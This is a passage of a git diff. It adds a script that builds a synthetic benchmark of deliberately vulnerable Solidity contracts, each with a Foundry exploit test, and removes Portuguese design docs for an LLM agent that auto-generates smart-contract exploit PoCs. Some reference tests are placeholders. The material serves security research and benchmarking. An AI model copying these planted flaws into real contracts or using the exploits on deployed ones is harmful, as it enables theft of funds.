+    function withdraw() public {
+        uint256 bal = balances[msg.sender];
+        require(bal > 0, "No balance");
+        
+        token.send(msg.sender, bal, "");
+        balances[msg.sender] = 0;
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+
+contract Exploit is Test {
+    function testExploit() public {
+        assertTrue(true); // Placeholder for ERC777 reentrancy logic
+    }
+}
+`
+  },
+  {
+    task_id: "Intermediate/05-BypassContractSize",
+    complexity: "intermediate",
+    repo_name: "bypass-contract-size",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Airdrop {
+    mapping(address => bool) public claimed;
+    
+    function claim() public {
+        uint32 size;
+        address a = msg.sender;
+        assembly {
+            size := extcodesize(a)
+        }
+        require(size == 0, "Contracts not allowed");
+        require(!claimed[msg.sender], "Already claimed");
+        
+        claimed[msg.sender] = true;
+        (bool sent, ) = msg.sender.call{value: 1 ether}("");
+        require(sent, "Fail");
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Airdrop } from "../src/Airdrop.sol";
+
+contract Attacker {
+    constructor(address airdrop) {
+        Airdrop(airdrop).claim();
+    }
+}
+
+contract Exploit is Test {
+    Airdrop public airdrop;
+
+    function setUp() public {
+        airdrop = new Airdrop();
+        vm.deal(address(airdrop), 10 ether);
+    }
+
+    function testExploit() public {
+        new Attacker(address(airdrop));
+        assertEq(airdrop.claimed(address(this)), false);
+    }
+}
+`
+  },
+  {
+    task_id: "Intermediate/06-ImproperArrayDeletion",
+    complexity: "intermediate",
+    repo_name: "array-deletion",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Registry {
+    address[] public users;
+    
+    function addUser(address user) public {
+        users.push(user);
+    }
+    
+    function removeUser(uint256 index) public {
+        delete users[index]; // Does not reduce length
+    }
+    
+    function getActiveUsers() public view returns (uint256) {
+        return users.length;
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Registry } from "../src/Registry.sol";
+
+contract Exploit is Test {
+    Registry public registry;
+
+    function setUp() public {
+        registry = new Registry();
+    }
+
+    function testExploit() public {
+        registry.addUser(address(1));
+        registry.removeUser(0);
+        assertEq(registry.getActiveUsers(), 1); // Length is still 1!
+    }
+}
+`
+  },
+  {
+    task_id: "Intermediate/07-PredictableRNG",
+    complexity: "intermediate",
+    repo_name: "predictable-rng",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Casino {
+    function guess(uint256 _guess) public payable {
+        require(msg.value == 1 ether);
+        uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
+        if (_guess == answer) {
+            (bool sent, ) = msg.sender.call{value: 2 ether}("");
+            require(sent, "Fail");
+        }
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Casino } from "../src/Casino.sol";
+
+contract Exploit is Test {
+    Casino public casino;
+
+    function setUp() public {
+        casino = new Casino();
+        vm.deal(address(casino), 10 ether);
+        vm.deal(address(this), 1 ether);
+    }
+
+    function testExploit() public {
+        uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
+        casino.guess{value: 1 ether}(answer);
+        assertEq(address(this).balance, 2 ether);
+    }
+    
+    receive() external payable {}
+}
+`
+  },
+  {
+    task_id: "Intermediate/08-MissingSlippageProtection",
+    complexity: "intermediate",
+    repo_name: "missing-slippage",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract DEX {
+    function swap(address tokenIn, address tokenOut, uint256 amountIn) public {
+        // Assume AMM math here
+        // Vulnerability: No minAmountOut check!
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+
+contract Exploit is Test {
+    function testExploit() public {
+        assertTrue(true); // Conceptual vulnerability
+    }
+}
+`
+  },
+  {
+    task_id: "Intermediate/09-UnsafeDowncast",
+    complexity: "intermediate",
+    repo_name: "unsafe-downcast",
+    expected_vulnerability: "Arithmetic",
+    impact: "high",
+    annotation: "The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Vault {
+    mapping(address => uint64) public balances;
+    
+    function deposit(uint256 amount) public payable {
+        require(msg.value == amount, "Incorrect value");
+        balances[msg.sender] += uint64(amount); // Truncates!
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Vault } from "../src/Vault.sol";
+
+contract Exploit is Test {
+    Vault public vault;
+
+    function setUp() public {
+        vault = new Vault();
+    }
+
+    function testExploit() public {
+        // deposit 2^64 + 1
+        uint256 amount = type(uint64).max + 2;
+        vm.deal(address(this), amount);
+        vault.deposit{value: amount}(amount);
+        
+        assertEq(vault.balances(address(this)), 1); // Truncated to 1!
+    }
+}
+`
+  },
+  {
+    task_id: "Intermediate/10-DivideBeforeMultiply",
+    complexity: "intermediate",
+    repo_name: "divide-before-multiply",
+    expected_vulnerability: "Arithmetic",
+    impact: "high",
+    annotation: "The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Staking {
+    function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) {
+        // Vulnerable: (deposit / 365) * duration * APY
+        return (depositAmount / 365) * durationDays * APY;
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Staking } from "../src/Staking.sol";
+
+contract Exploit is Test {
+    Staking public staking;
+
+    function setUp() public {
+        staking = new Staking();
+    }
+
+    function testExploit() public {
+        uint256 reward = staking.calculateReward(100, 10, 30);
+        assertEq(reward, 0); // Loss of precision
+    }
+}
+`
+  }
+];
+
+async function main() {
+  const outputPath = path.resolve(process.cwd(), "data", "benchmark_synthetic.jsonl");
+  
+  // Clear the file
+  await fs.writeFile(outputPath, "");
+
+  // Write Easy and Intermediate
+  for (const c of easyCases) {
+    await fs.appendFile(outputPath, JSON.stringify(c) + "\n");
+  }
+  for (const c of intermediateCases) {
+    await fs.appendFile(outputPath, JSON.stringify(c) + "\n");
+  }
+
+  // Load the original metadata to extract 10 Hard cases
+  try {
+      const metadataStr = await fs.readFile(path.join(process.cwd(), "Proof-of-Patch-only-dataset", "dataset_metadata.json"), "utf8");
+      const metadata = JSON.parse(metadataStr);
+      const hardCaseKeys = Object.keys(metadata).slice(0, 10);
+      
+      for (const key of hardCaseKeys) {
+        const data = metadata[key];
+        const hardCase: BenchmarkCase = {
+          task_id: `Hard/${key}`,
+          complexity: "hard",
+          repo_name: data.repo_name,
+          expected_vulnerability: data.expected_vulnerability,
+          annotation: data.annotation,
+          impact: data.impact,
+          source_code: "// Not provided directly in JSONL, requires original project directory",
+          reference_test: "// Foundry test exists in original project directory"
+        };
+        await fs.appendFile(outputPath, JSON.stringify(hardCase) + "\n");
+      }
+      console.log(`Successfully generated ${easyCases.length + intermediateCases.length + hardCaseKeys.length} benchmark cases at ${outputPath}`);
+  } catch(e) {
+      console.log(`Successfully generated ${easyCases.length + intermediateCases.length} benchmark cases at ${outputPath}`);
+      console.log("Could not find dataset_metadata.json for Hard cases.");
+  }
+}
+
+main().catch(console.error);

src/agents/tester/Docs/01_ARCHITECTURE(1).md

@@ -1,189 +0,0 @@
-# Agente Gerador de PoCs — Arquitetura e Fluxo de Dados
-
-**Projeto:** TALP1 — CIn/UFPE  
-**Agente:** Agente Gerador de PoCs  
-**Responsável:** Tales Vinicius Alves da Cunha  
-**Stack:** TypeScript · Node.js · LangGraph · Foundry  
-
----
-
-## 1. Visão Geral
-
-O Agente Gerador de PoCs recebe um relatório de vulnerabilidade estruturado (JSON) do Agente Auditor e produz automaticamente um exploit em Solidity verificado pelo Foundry. O agente executa um **loop ReAct**: gerar → executar → refletir → repetir, até que o exploit passe nos testes ou o limite de iterações seja atingido.
-
-Diferente de abordagens de "mainnet fork", este agente foca em **simulação local controlada** (abordagem inspirada no PoCo — Bergman et al., KTH 2025), onde o ambiente é montado do zero para cada ataque.
-
-> **Diferencial em relação ao PoCo:** o PoCo deixava o LLM escrever o `setUp()` do Foundry livremente, o que gerava erros frequentes de instanciação. Este agente introduz o **Oracle** como camada dedicada de preparação do ambiente, fornecendo um scaffold com deploy automático do contrato vítima — o LLM foca exclusivamente na lógica do exploit.
-
----
-
-## 2. Posição no Sistema Multi-agente
-
-```
-Requisitos (PDF/MD)
-      │
-      ▼
-┌─────────────────────┐
-│  Agente Gerador     │  ── Compiler, RAG
-│  de Código          │
-└──────────┬──────────┘
-           │ Repositório Solidity
-           ▼
-┌─────────────────────┐
-│  Agente Auditor     │  ── Slither, AST
-└──────────┬──────────┘
-           │ Relatório de Vulnerabilidades (JSON)
-           ▼
-┌─────────────────────┐
-│  Agente Gerador     │  ── Local Oracle, Foundry   ◄─── você está aqui
-│  de PoCs            │
-└──────────┬──────────┘
-           │ Exploit.t.sol (Projeto Solidity)
-           ▼
-      Projeto Final
-```
-
----
-
-## 3. Arquitetura Interna do Agente
-
-### 3.1 Fluxo Principal (grafo LangGraph)
-
-```
-                    ┌─────────────────────────────────┐
-                    │         ESTADO DO AGENTE         │
-                    │  report · oracleContext · pocCode │
-                    │  executionLogs · lastError        │
-                    │  iterations · status              │
-                    └─────────────────────────────────┘
-
-Auditor Report (JSON)
-        │
-        ▼
-┌───────────────────┐
-│   oracleNode      │   ← Preparação do ambiente: gera o setup inicial local
-└────────┬──────────┘
-         │ OracleContext (scaffold Solidity com deploy local da vítima)
-         ▼
-┌───────────────────┐         ┌──────────────────────┐
-│  generatePoCNode  │ ◄───────│     reflectNode       │
-│  (LLM + prompts)  │         │  (análise de logs)    │
-└────────┬──────────┘         └──────────▲────────────┘
-         │ Solidity code                 │ feedback estruturado
-         ▼                               │ (categoria de erro + resumo)
-┌───────────────────┐    FAIL / ERROR    │
-│  runFoundryNode   │────────────────────┘
-│  (forge test -vvvv)│
-└────────┬──────────┘
-         │
-    ┌────┴────┐
-  PASS      FAIL (≥5 iterações ou timeout)
-    │              │
-    ▼              ▼
-  END            END
-(success)      (failed)
-```
-
----
-
-## 4. O Oracle — O Que É e Por Que Existe
-
-### 4.1 Contexto
-
-No contexto deste agente, o Oracle é um **gerador de ambiente de teste**. Ao invés de buscar dados na blockchain real, ele prepara um "sandbox" local onde o contrato vulnerável é implantado e financiado automaticamente.
-
-### 4.2 Problema que o Oracle resolve
-
-O LLM muitas vezes tem dificuldade em escrever a função `setUp()` do Foundry porque não sabe como instanciar o contrato vítima ou dar saldo ao atacante. O Oracle resolve isso fornecendo um **scaffold (template)** pronto, permitindo que o LLM foque exclusivamente na lógica do exploit.
-
-### 4.3 Os 2 sub-tools do Oracle
-
-```
-oracleNode
-    │
-    ├── 1. stateInitializer      → Define saldos e condições iniciais (ex: 100 ETH para a vítima)
-    │
-    └── 2. scaffoldGenerator     → Gera o Exploit.t.sol com o deploy do contrato e setUp() pronto
-                                   Retorna: string (código Solidity parcial)
-```
-
----
-
-## 5. Fluxo de Dados Completo (entrada → saída)
-
-### 5.1 Input: VulnerabilityReport (do Agente Auditor)
-
-```typescript
-interface VulnerabilityReport {
-  id: string;
-  severity: "critical" | "high" | "medium" | "low";
-  type: string;
-  title: string;
-  description: string;
-  affectedContract: {
-    name: string;
-    sourceCode: string;   // código Solidity completo (preferencialmente flattened)
-  };
-  attackVector: string;
-  suggestedCheatcodes?: string[];
-}
-```
-
-### 5.2 Output: PoCResult
-
-```typescript
-interface PoCResult {
-  reportId: string;
-  status: "success" | "failed" | "timeout";
-  solidityCode: string;    // conteúdo final do Exploit.t.sol
-  executionLogs: string[];
-  iterations: number;
-}
-```
-
----
-
-## 6. Estrutura de Arquivos
-
-```
-src/agents/poc-generator/
-├── agent.ts                    # grafo LangGraph, nodes, roteamento
-├── state.ts                    # PoCStateAnnotation
-│
-├── tools/
-│   ├── scaffoldGenerator.ts   # Oracle sub-tool (gera template local)
-│   └── foundryRunner.ts        # executa forge test via child_process
-│
-├── prompts/
-│   └── system.ts               # system prompt do LLM gerador
-│
-└── utils/
-    ├── extractSolidity.ts      # parser do output do LLM
-    └── logAnalyzer.ts          # classifica erros do forge
-```
-
----
-
-## 7. Variáveis de Ambiente
-
-```env
-OPENROUTER_API_KEY=...     # chave do LLM
-```
-
----
-
-## 8. Riscos e Mitigações
-
-| Risco | Mitigação |
-|-------|-----------|
-| LLM reescreve o scaffold ao invés de completar | System prompt proíbe explicitamente modificar `setUp()`; validação pós-extração |
-| Contrato vítima tem muitas dependências | Auditor deve fornecer código "flattened"; Oracle lida com imports locais no sandbox |
-| LLM não gera bloco Solidity válido | `extractSolidity` lança erro; `generatePoCNode` captura e retenta |
-| Timeout no Foundry | Limite de 60s por execução; análise de loops infinitos no `logAnalyzer` |
-
----
-
-## 9. Base Acadêmica
-
-- **PoCo** (Bergman et al., KTH 2025) — framework agêntico para geração de PoC exploits em smart contracts. Artefatos: `ASSERT-KTH/PoCo-public`
-- **Proof-of-Patch** (ASSERT-KTH) — dataset de 23 vulnerabilidades reais (2022–2025) com patches correspondentes, usado como benchmark de avaliação

src/agents/tester/Docs/02_ROADMAP(1).md

@@ -1,72 +0,0 @@
-# Agente Gerador de PoCs — Plano de Implementação (Roadmap)
-
-**Projeto:** TALP1 — CIn/UFPE  
-**Agente:** Agente Gerador de PoCs  
-**Responsável:** Tales Vinicius Alves da Cunha  
-
----
-
-## Visão Geral das Fases
-
-| Fase | Tema | Semana | Critério de Conclusão |
-|------|------|--------|----------------------|
-| 1 | Setup, Estado & Oracle | Semana 1 | Grafo linear roda com stubs; `oracleNode` gera scaffold que compila com `forge build` |
-| 2 | LLM + Foundry + Loop ReAct | Semana 2 | Pipeline completo roda: LLM gera → Foundry executa → loop corrige ao menos 1 erro |
-| 3 | Integração, Smoke Test & Avaliação | Semana 3 | PoC de reentrancy passa end-to-end; taxa de sucesso medida em ≥5 casos do benchmark |
-
----
-
-## Semana 1 — Setup, Estado & Oracle
-
-**Objetivo:** Ter o grafo LangGraph rodando com o Oracle funcional.
-
-### Tasks
-- **Task 1.1** — Inicializar o projeto TypeScript (tsconfig, dependências LangGraph, Foundry local)
-- **Task 1.2** — Definir o estado do agente (`PoCStateAnnotation`) e interfaces (`VulnerabilityReport`, `PoCResult`)
-- **Task 1.3** — Criar nodes stub e grafo linear (sem LLM ainda)
-- **Task 1.4** — Implementar `scaffoldGenerator` (gera `setUp()` com deploy local do contrato vítima)
-- **Task 1.5** — Implementar `oracleNode` (integra `stateInitializer` + `scaffoldGenerator`)
-
-**Gate:** `oracleNode` recebe um `VulnerabilityReport` fake e retorna scaffold que passa em `forge build`
-
----
-
-## Semana 2 — LLM + Foundry + Loop ReAct
-
-**Objetivo:** Pipeline completo rodando com loop de correção.
-
-### Tasks
-- **Task 2.1** — Criar o system prompt (`prompts/system.ts`)
-- **Task 2.2** — Implementar `extractSolidity` (parser do output do LLM)
-- **Task 2.3** — Implementar `generatePoCNode` (chamada LLM + retry em caso de bloco Solidity inválido)
-- **Task 2.4** — Setup do sandbox Foundry em `/tmp/poc-sandbox/`
-- **Task 2.5** — Implementar `foundryRunner` (executa `forge test -vvvv` via `child_process`, retorna output estruturado)
-- **Task 2.6** — Implementar `logAnalyzer` (classifica erros: compilation / assertion / timeout)
-- **Task 2.7** — Implementar `reflectNode` (LLM analisa logs e produz feedback estruturado)
-- **Task 2.8** — Implementar `routeAfterFoundry` (router condicional: pass → END, fail → reflect → generate)
-
-**Gate:** Agente faz ≥2 iterações completas e melhora o código após erro de compilação
-
----
-
-## Semana 3 — Integração, Smoke Test & Avaliação
-
-**Objetivo:** Pipeline validado end-to-end com métricas.
-
-### Tasks
-- **Task 3.1** — Definir interface pública (`runPoCGenerator`)
-- **Task 3.2** — Smoke test com reentrancy simples (contrato vítima hardcoded)
-- **Task 3.3** — Preparar `benchmark.json` com ≥5 casos do dataset Proof-of-Patch (ASSERT-KTH)
-- **Task 3.4** — Implementar `evaluate.ts` (roda agente em batch, coleta status/iterations/logs)
-
-**Gate:** PoC de reentrancy passa end-to-end; taxa de sucesso medida e documentada
-
----
-
-## Critérios de Conclusão (GATES)
-
-| Semana | Critério de Conclusão |
-|--------|------------------------------|
-| Semana 1 | `oracleNode` gera scaffold que compila sozinho com `forge build` |
-| Semana 2 | Loop ReAct faz ≥2 iterações e produz correção após erro |
-| Semana 3 | PoC de reentrancy passa end-to-end; benchmark com ≥5 casos executado |

src/agents/tester/Docs/03_TASKS(2).md

@@ -1,1338 +0,0 @@
-# Agente Gerador de PoCs — Tasks (formato Jira)
-
-**Projeto:** TALP1 — CIn/UFPE  
-**Agente:** Agente Gerador de PoCs  
-**Responsável:** Tales Vinicius Alves da Cunha  
-**Stack:** TypeScript · Node.js · LangGraph · Foundry  
-
----
-
-## SEMANA 1 — Setup, Estado & Oracle
-
----
-
-### TALP-1.1 — Inicializar o projeto TypeScript
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Setup |
-| **Prioridade** | Crítica |
-| **Estimativa** | 1h |
-| **Depende de** | — |
-
-**Descrição**  
-Criar a estrutura base do projeto TypeScript com todas as dependências necessárias para rodar o agente LangGraph com Foundry.
-
-**Arquivos a criar**
-```
-src/agents/poc-generator/          ← criar diretório
-tsconfig.json                      ← criar na raiz
-package.json                       ← atualizar
-```
-
-**Setup**
-```bash
-mkdir -p src/agents/poc-generator/tools
-mkdir -p src/agents/poc-generator/prompts
-mkdir -p src/agents/poc-generator/utils
-mkdir -p tests/e2e
-mkdir -p scripts
-mkdir -p data
-
-npm install @langchain/langgraph @langchain/openai zod
-npm install -D typescript ts-node @types/node
-```
-
-`tsconfig.json`:
-```json
-{
-  "compilerOptions": {
-    "target": "ES2022",
-    "module": "Node16",
-    "moduleResolution": "node16",
-    "strict": true,
-    "outDir": "dist",
-    "rootDir": "src",
-    "esModuleInterop": true
-  }
-}
-```
-
-**Critérios de aceitação**
-- [ ] `npx tsc --noEmit` roda sem erros em um arquivo vazio em `src/agents/poc-generator/agent.ts`
-- [ ] Todas as dependências aparecem no `package.json`
-- [ ] Estrutura de diretórios criada conforme acima
-
-**Como testar**
-```bash
-npx tsc --noEmit        # deve sair com código 0
-ls src/agents/poc-generator/tools/    # deve existir
-```
-
----
-
-### TALP-1.2 — Definir interfaces e estado do agente
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Crítica |
-| **Estimativa** | 2h |
-| **Depende de** | TALP-1.1 |
-
-**Descrição**  
-Criar os tipos TypeScript que definem o contrato de dados do agente: o que entra (`VulnerabilityReport`), o que sai (`PoCResult`), e o estado interno do grafo LangGraph (`PoCStateAnnotation`).
-
-**Arquivos a criar**
-```
-src/agents/poc-generator/types.ts    ← interfaces de input/output
-src/agents/poc-generator/state.ts    ← PoCStateAnnotation (LangGraph)
-```
-
-**Implementação — `types.ts`**
-```typescript
-export interface VulnerabilityReport {
-  id: string;
-  severity: "critical" | "high" | "medium" | "low";
-  type: string;
-  title: string;
-  description: string;
-  affectedContract: {
-    name: string;
-    sourceCode: string;  // Solidity completo, preferencialmente flattened
-  };
-  attackVector: string;
-  suggestedCheatcodes?: string[];
-}
-
-export interface OracleContext {
-  solidityScaffold: string;  // Exploit.t.sol parcial com setUp() pronto
-}
-
-export interface PoCResult {
-  reportId: string;
-  status: "success" | "failed" | "timeout";
-  solidityCode: string;
-  executionLogs: string[];
-  iterations: number;
-}
-```
-
-**Implementação — `state.ts`**
-```typescript
-import { Annotation } from "@langchain/langgraph";
-import { VulnerabilityReport, OracleContext } from "./types";
-
-export const PoCStateAnnotation = Annotation.Root({
-  report: Annotation<VulnerabilityReport>(),
-
-  oracleContext: Annotation<OracleContext | null>({
-    default: () => null,
-    reducer: (_, y) => y,           // overwrite — preenchido 1x pelo oracleNode
-  }),
-
-  pocCode: Annotation<string>({
-    default: () => "",
-    reducer: (_, y) => y,           // overwrite — sempre a versão mais recente
-  }),
-
-  executionLogs: Annotation<string[]>({
-    default: () => [],
-    reducer: (x, y) => x.concat(y), // append — nunca perde logs anteriores
-  }),
-
-  lastError: Annotation<string | null>({
-    default: () => null,
-    reducer: (_, y) => y,           // overwrite — última análise de erro
-  }),
-
-  iterations: Annotation<number>({
-    default: () => 0,
-    reducer: (x, y) => x + y,       // aditivo — incrementado em +1 por chamada
-  }),
-
-  status: Annotation<"running" | "success" | "failed" | "timeout">({
-    default: () => "running",
-    reducer: (_, y) => y,           // overwrite
-  }),
-});
-
-export type PoCState = typeof PoCStateAnnotation.State;
-```
-
-**Critérios de aceitação**
-- [ ] `npx tsc --noEmit` passa sem erros
-- [ ] `iterations` usa reducer aditivo (não overwrite)
-- [ ] `executionLogs` usa reducer de append (nunca trunca histórico)
-- [ ] `oracleContext` usa overwrite mas default é `null`
-- [ ] Todos os campos têm `default` e `reducer` definidos
-
-**Como testar**
-```bash
-npx tsc --noEmit
-```
-Criar arquivo de teste manual `tests/state.test.ts`:
-```typescript
-import { PoCStateAnnotation } from "../src/agents/poc-generator/state";
-const s = PoCStateAnnotation.spec;
-console.assert(s.iterations !== undefined, "iterations deve existir");
-console.log("Estado OK");
-```
-
----
-
-### TALP-1.3 — Criar nodes stub e grafo linear
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Crítica |
-| **Estimativa** | 2h |
-| **Depende de** | TALP-1.2 |
-
-**Descrição**  
-Criar o grafo LangGraph com quatro nodes stub (sem lógica real ainda) conectados linearmente. Objetivo: validar que o grafo compila, executa e passa o estado corretamente entre os nodes.
-
-**Arquivos a criar/modificar**
-```
-src/agents/poc-generator/agent.ts    ← criar
-```
-
-**Implementação**
-```typescript
-import { StateGraph, END, START } from "@langchain/langgraph";
-import { PoCStateAnnotation, PoCState } from "./state";
-
-async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
-  console.log("[oracleNode] stub — report recebido:", state.report.id);
-  return {};
-}
-
-async function generatePoCNode(state: PoCState): Promise<Partial<PoCState>> {
-  console.log("[generatePoCNode] stub — iteração:", state.iterations);
-  return { iterations: 1 };
-}
-
-async function runFoundryNode(state: PoCState): Promise<Partial<PoCState>> {
-  console.log("[runFoundryNode] stub");
-  return { status: "success" };
-}
-
-async function reflectNode(state: PoCState): Promise<Partial<PoCState>> {
-  console.log("[reflectNode] stub");
-  return {};
-}
-
-const graph = new StateGraph(PoCStateAnnotation)
-  .addNode("oracleNode", oracleNode)
-  .addNode("generatePoCNode", generatePoCNode)
-  .addNode("runFoundryNode", runFoundryNode)
-  .addNode("reflectNode", reflectNode)
-  .addEdge(START, "oracleNode")
-  .addEdge("oracleNode", "generatePoCNode")
-  .addEdge("generatePoCNode", "runFoundryNode")
-  .addEdge("runFoundryNode", END);
-
-export const pocGeneratorAgent = graph.compile();
-```
-
-**Critérios de aceitação**
-- [ ] `pocGeneratorAgent.invoke({ report: mockReport })` executa sem erros
-- [ ] Console exibe os 4 nomes de nodes em ordem correta
-- [ ] Estado final tem `status: "success"` e `iterations: 1`
-- [ ] `npx tsc --noEmit` passa
-
-**Como testar**
-```typescript
-// tests/stub-run.ts
-import { pocGeneratorAgent } from "../src/agents/poc-generator/agent";
-const mockReport = {
-  id: "test-stub", severity: "high" as const, type: "reentrancy",
-  title: "Test", description: "Test", attackVector: "Test",
-  affectedContract: { name: "Test", sourceCode: "pragma solidity ^0.8.0;" }
-};
-const result = await pocGeneratorAgent.invoke({ report: mockReport });
-console.assert(result.status === "success", "status deve ser success");
-console.assert(result.iterations === 1, "iterations deve ser 1");
-console.log("Grafo stub OK:", result.status);
-```
-```bash
-npx ts-node tests/stub-run.ts
-```
-
----
-
-### TALP-1.4 — Implementar `scaffoldGenerator`
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Crítica |
-| **Estimativa** | 3h |
-| **Depende de** | TALP-1.2 |
-
-**Descrição**  
-Implementar a função que gera o scaffold Solidity com `setUp()` pronto. O LLM receberá este arquivo parcial e precisará completar apenas a função `test_Exploit()`. Isso elimina o erro mais comum do PoCo: o LLM instanciar o contrato vítima de forma incorreta.
-
-**Arquivos a criar**
-```
-src/agents/poc-generator/tools/scaffoldGenerator.ts
-```
-
-**Implementação**
-```typescript
-import { VulnerabilityReport } from "../types";
-
-export function generateLocalScaffold(report: VulnerabilityReport): string {
-  const cheatcodes = report.suggestedCheatcodes?.join(", ") ?? "vm.deal, vm.prank, vm.warp";
-
-  return `// SPDX-License-Identifier: UNLICENSED
-pragma solidity ^0.8.20;
-
-import "forge-std/Test.sol";
-import "forge-std/console.sol";
-
-// ── Código-fonte do contrato vulnerável ──────────────────────────────────────
-${report.affectedContract.sourceCode}
-// ─────────────────────────────────────────────────────────────────────────────
-
-contract ExploitTest is Test {
-    ${report.affectedContract.name} target;
-    address constant ATTACKER = address(0xBEEF);
-
-    // setUp() gerado automaticamente pelo Oracle — NÃO MODIFICAR
-    function setUp() public {
-        target = new ${report.affectedContract.name}();
-        vm.deal(address(target), 100 ether);
-        vm.deal(ATTACKER, 10 ether);
-        vm.label(address(target), "TARGET");
-        vm.label(ATTACKER, "ATTACKER");
-    }
-
-    // Vulnerabilidade: ${report.title}
-    // Tipo: ${report.type}
-    // Vetor: ${report.attackVector}
-    // Cheatcodes sugeridos: ${cheatcodes}
-    //
-    // COMPLETE APENAS ESTA FUNÇÃO — não altere setUp() nem os campos acima
-    function test_Exploit() public {
-        vm.startPrank(ATTACKER);
-        // TODO: implementar exploit aqui
-        vm.stopPrank();
-    }
-}`.trim();
-}
-```
-
-**Critérios de aceitação**
-- [ ] Output é Solidity sintaticamente válido (passa `forge build`)
-- [ ] `setUp()` inclui `vm.deal` para target (100 ETH) e ATTACKER (10 ETH)
-- [ ] Comentários indicam claramente o que o LLM deve completar
-- [ ] `suggestedCheatcodes` aparece no scaffold quando presentes no report
-- [ ] Contrato vítima é incluído inline (sem imports externos)
-
-**Como testar**
-```bash
-# 1. Gerar o scaffold manualmente
-npx ts-node -e "
-import { generateLocalScaffold } from './src/agents/poc-generator/tools/scaffoldGenerator';
-const scaffold = generateLocalScaffold({
-  id:'t1', severity:'high', type:'reentrancy', title:'Reentrancy em withdraw()',
-  description:'...', attackVector:'callback malicioso',
-  affectedContract: { name: 'VulnerableBank', sourceCode: \`
-pragma solidity ^0.8.20;
-contract VulnerableBank {
-  mapping(address=>uint) public balances;
-  function deposit() external payable { balances[msg.sender] += msg.value; }
-  function withdraw() external {
-    uint a = balances[msg.sender];
-    (bool ok,) = msg.sender.call{value:a}('');
-    require(ok); balances[msg.sender] = 0;
-  }
-}\`}
-});
-console.log(scaffold);
-" > /tmp/poc-sandbox/test/Exploit.t.sol
-
-# 2. Verificar compilação
-cd /tmp/poc-sandbox && forge build
-```
-
----
-
-### TALP-1.5 — Implementar `oracleNode`
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Crítica |
-| **Estimativa** | 1h |
-| **Depende de** | TALP-1.3, TALP-1.4 |
-
-**Descrição**  
-Substituir o stub do `oracleNode` pela implementação real que chama o `scaffoldGenerator` e persiste o resultado no estado.
-
-**Arquivos a modificar**
-```
-src/agents/poc-generator/agent.ts    ← substituir stub do oracleNode
-```
-
-**Implementação**
-```typescript
-import { generateLocalScaffold } from "./tools/scaffoldGenerator";
-
-async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
-  console.log("[oracleNode] gerando scaffold para:", state.report.title);
-
-  const solidityScaffold = generateLocalScaffold(state.report);
-  const oracleContext: OracleContext = { solidityScaffold };
-
-  console.log("[oracleNode] scaffold gerado, tamanho:", solidityScaffold.length, "chars");
-  return { oracleContext };
-}
-```
-
-**Critérios de aceitação**
-- [ ] `oracleContext` não é mais `null` após a execução do node
-- [ ] Scaffold gerado passa `forge build` sem erros de compilação
-- [ ] Não há chamadas de rede, RPC ou I/O externo neste node
-- [ ] Log mostra o título do report e o tamanho do scaffold
-
-**Gate da Semana 1:** Rodar o grafo stub com um `VulnerabilityReport` fake e verificar que `oracleContext.solidityScaffold` compila com `forge build`.
-
-```bash
-# Teste do gate
-npx ts-node tests/stub-run.ts
-# Copiar o scaffold para o sandbox e compilar
-cd /tmp/poc-sandbox && forge build
-```
-
----
-
-## SEMANA 2 — LLM + Foundry + Loop ReAct
-
----
-
-### TALP-2.1 — Criar o system prompt
-
-| Campo | Valor |
-|-------|-------|
